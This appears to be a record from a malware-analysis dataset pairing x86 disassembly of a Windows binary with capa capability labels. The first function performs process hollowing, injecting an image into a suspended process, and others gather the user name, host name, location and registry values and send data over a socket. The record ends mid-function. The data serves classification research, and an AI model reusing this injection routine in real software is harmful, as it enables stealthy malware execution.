joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4428e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x408]
push 0x400
push eax
push 0
mov edi, dword [esi + 0x3c]
add edi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [edi], 0x4550
jne 0x442a9e
push 0x44
lea eax, [ebp - 0x450]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x460], xmm0
call fcn.0047dd80
add esp, 0xc
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x450]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x442a9e
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x470], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x442a9e
push 0
push 4
lea eax, [ebp - 0x464]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [edi + 0x54]
mov dword [ebp - 0x46c], eax
push esi
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 0x468], 0
cmp ax, word [edi + 6]
jae 0x442a56
xor ebx, ebx
mov ecx, dword [esi + 0x3c]
add ecx, ebx
push 0
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [ebp - 0x46c]
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x468]
add ebx, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x468], ecx
cmp ecx, eax
jl 0x442a06
mov ebx, dword [ebp - 0x470]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x46c]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047c239
mov esp, ebp
pop ebp
ret
Function at 0x443050
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48c8df
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x4aca0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
push 0
call fcn.00481bbc
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x443101
push eax
push esi
call fcn.00481f53
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.00481982
int3
Function at 0x445380
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d31d
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4aca0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebx + 0x68]
mov dword [ebx], 0x49e1dc
mov dword [ebx + 0x10], 0x49e174
mov dword [ebp - 0x18], eax
mov dword [eax], vtable.std::ios_base.0
mov dword [eax + 8], 0
mov dword [eax + 0x28], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 1
sub esp, 8
lea edi, [ebx + 0x18]
mov dword [ebp - 0x10], 1
push edi
call fcn.004462c0
mov dword [ebp - 4], 4
mov eax, dword [ebx + 0x10]
mov eax, dword [eax + 4]
mov dword [ebx + eax + 0x10], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + ebx + 0xc], eax
mov dword [ebp - 4], 7
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + ebx - 4], eax
mov dword [ebp - 4], 8
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], edi
lea eax, [ecx - 0x68]
mov dword [ecx + ebx - 4], eax
mov ecx, edi
call fcn.00446440
mov byte [ebp - 4], 9
mov dword [edi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4462c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d45e
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x4aca0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0
mov eax, dword [ebx]
push 0
push 0
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.004436a0
push 8
call fcn.0047c450
add esp, 4
mov esi, eax
xorps xmm0, xmm0
push 1
movq qword [esi], xmm0
call fcn.00481e56
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 2
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 2
push eax
call fcn.00443c00
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov ecx, 2
mov byte [ebp + 0xb], al
mov dword [ebp - 0x14], ecx
and ecx, 0xfffffffd
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x446404
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x446404
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x446420
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.004436a0
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x447e20
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d9f8
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x28
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], edi
xor eax, eax
mov dword [ebp - 0x1c], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push edx
mov dword [ebp - 0x1c], 1
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x447f69
mov dword [ebp - 4], 2
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x447ed0
sub ecx, esi
sar ecx, 1
mov byte [ebp - 4], 3
xorps xmm0, xmm0
push ecx
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
call fcn.0043c2d0
mov esi, 5
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x1c], esi
and esi, 0xfffffffb
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 2
or esi, 2
lea eax, [ebp - 0x34]
mov dword [ebp - 0x1c], esi
cmp edi, eax
je 0x447f57
mov ecx, edi
call fcn.0043a870
movups xmm0, xmmword [ebp - 0x34]
xor eax, eax
mov word [ebp - 0x34], ax
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
and esi, 0xfffffffd
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.0043a870
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4494e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], ecx
xor esi, esi
test edi, edi
je 0x449535
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov edx, closesocket
nop dword [eax]
push 0
cmp edi, 0x7fffffff
mov eax, edi
cmova eax, edx
push eax
lea eax, [esi + ecx]
push eax
push dword [0x4acb20]
call ebx
test eax, eax
jle 0x44952c
mov ecx, dword [ebp - 4]
add esi, eax
mov edx, closesocket
sub edi, eax
jne 0x449500
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x449cc0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x489dfe
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x4aca0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
xorps xmm0, xmm0
mov edi, eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov ecx, esi
push 0
push edi
mov dword [ebp - 0x10], 1
call fcn.0043cfb0
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x449d5d
mov eax, dword [esi]
push 0
push edi
push eax
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
push 0
lea eax, [edi - 1]
mov ecx, esi
push eax
call fcn.0043cfb0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x44a390
Capabilities:
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48e2c7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x10014
call fcn.0047cec0
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1001c], esi
lea eax, [ebp - 0x1001c]
mov dword [ebp - 0x10024], esi
push eax
lea eax, [ebp - 0x10018]
mov dword [ebp - 0x10020], 0
push eax
mov dword [ebp - 0x1001c], 0x7fff
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x44a41d
lea edx, [ebp - 0x10018]
mov ecx, esi
call fcn.004422e0
jmp 0x44a442
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10020], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x44a480
Capabilities:
Get hostname

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48e2c7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x10014
call fcn.0047cec0
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1001c], esi
lea eax, [ebp - 0x1001c]
mov dword [ebp - 0x10024], esi
push eax
lea eax, [ebp - 0x10018]
mov dword [ebp - 0x10020], 0
push eax
mov dword [ebp - 0x1001c], 0x7fff
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x44a50d
lea edx, [ebp - 0x10018]
mov ecx, esi
call fcn.004422e0
jmp 0x44a532
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10020], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x44e6a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48e642
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x438
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x41c], esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebp - 0x444], esi
mov dword [ebp - 0x428], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x424], 0x400
mov dword [ebp - 0x41c], 0xf003f
mov byte [esi], 0
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x428], 1
jb 0x44e762
mov eax, dword [eax]
lea ecx, [ebp - 0x420]
push ecx
push 0x20019
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e845
cmp dword [edi + 0x14], 0x10
jb 0x44e788
mov edi, dword [edi]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0
push edi
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44e845
mov eax, dword [ebp - 0x424]
lea ecx, [ebp - 0x440]
dec eax
mov dword [ebp - 0x430], 0
push eax
lea eax, [ebp - 0x418]
mov dword [ebp - 0x42c], 0
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x440], xmm0
call fcn.00431b30
mov dword [ebp - 4], 1
lea eax, [ebp - 0x440]
cmp esi, eax
je 0x44e836
mov ecx, esi
call fcn.0043a900
movups xmm0, xmmword [ebp - 0x440]
mov byte [ebp - 0x440], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x430]
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x440]
call fcn.0043a900
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x44e856
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4515d0
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48ee61
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x58], ebx
mov ecx, dword [eax]
mov eax, dword [0x4aeee4]
cmp eax, dword [ecx + 4]
jle 0x451657
push 0x4aeee4
call fcn.0047c37a
add esp, 4
cmp dword [0x4aeee4], 0xffffffff
jne 0x451657
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x4aef14], eax
mov dword [ebp - 4], 0xffffffff
push 0x4aeee4
call fcn.0047c330
add esp, 4
mov ecx, 0x42
lea eax, [ebp - 0x54]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x451660
lea eax, [ebp - 0x54]
push eax
push ecx
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x45175c
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x68]
push eax
push 1
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x451753
mov dword [ebp - 0x60], eax
mov ecx, 4
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4516b1
mov esi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
lea eax, [ebp - 0x60]
push eax
push ecx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x58]
call esi
cmp eax, 0xea
jne 0x451799
mov eax, dword [ebp - 0x64]
test eax, eax
je 0x451799
xor ecx, ecx
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00469b0a
mov edi, eax
add esp, 4
test edi, edi
je 0x451799
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x60]
push eax
push edi
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x58]
call esi
test eax, eax
jne 0x451790
cmp dword [ebp - 0x64], eax
je 0x451790
mov edx, dword [ebp - 0x5c]
test edx, edx
je 0x451753
mov ebx, dword [0x4aef14]
mov ecx, edi
nop dword [eax]
mov esi, dword [ecx]
cmp esi, ebx
jne 0x45177a
inc eax
add ecx, 0x29c
cmp eax, edx
jb 0x451740
xor ebx, ebx
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
ret
push edi
call fcn.00461c54
add esp, 4
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, esi
jmp 0x45175c
push edi
call fcn.00461c54
add esp, 4
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
xor eax, eax
jmp 0x45175e
Function at 0x4520a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x4520d2
jl 0x4520c5
test ecx, ecx
jne 0x4520d2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x452192
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.004462a0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x45213e
jg 0x4520fd
test esi, esi
je 0x45213e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x452115
mov eax, dword [esp + 0x10]
jl 0x45210f
cmp eax, esi
jae 0x452115
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0047e050
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x45215f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x45217b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x4520e4
jl 0x45217b
test ecx, ecx
jne 0x4520e4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x4521d0
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x4521d0
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.0047e050
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x452239
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x4521f6
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x452224
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00469701
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x452239
cmp edi, eax
ja 0x452202
test edi, edi
je 0x452239
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00469701
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x454a10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48f350
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x4aca0c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 8]
lea ebx, [edx + 4]
cmp dword [ebp + 0xc], 1
lea esi, [edx + 8]
mov dword [ebp - 0x14], eax
lea edi, [edx + 0x14]
sete al
mov dword [edx + 0xc], ebx
mov byte [edx + 0x48], al
lea ecx, [edx + 0x18]
mov eax, dword [ebp - 0x20]
mov byte [edx + 0x3d], 0
mov dword [edx + 0x10], esi
mov dword [edx + 0x1c], edi
mov dword [edx + 0x20], ecx
add edx, 0x24
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x18]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov ebx, dword [ebp - 0x14]
mov dword [edi], 0
mov dword [edx], 0
test ebx, ebx
je 0x454af9
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 0
push eax
push ebx
call fcn.00468bd9
mov edx, dword [ebp - 0x20]
add esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [edx + 0x1c], eax
mov dword [edx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [edx + 0x2c], eax
mov dword [edx + 0x30], eax
jmp 0x454afc
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x4c], ebx
mov eax, dword [0x4aeedc]
mov ecx, dword [0x4aeee0]
mov dword [edx + 0x40], eax
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
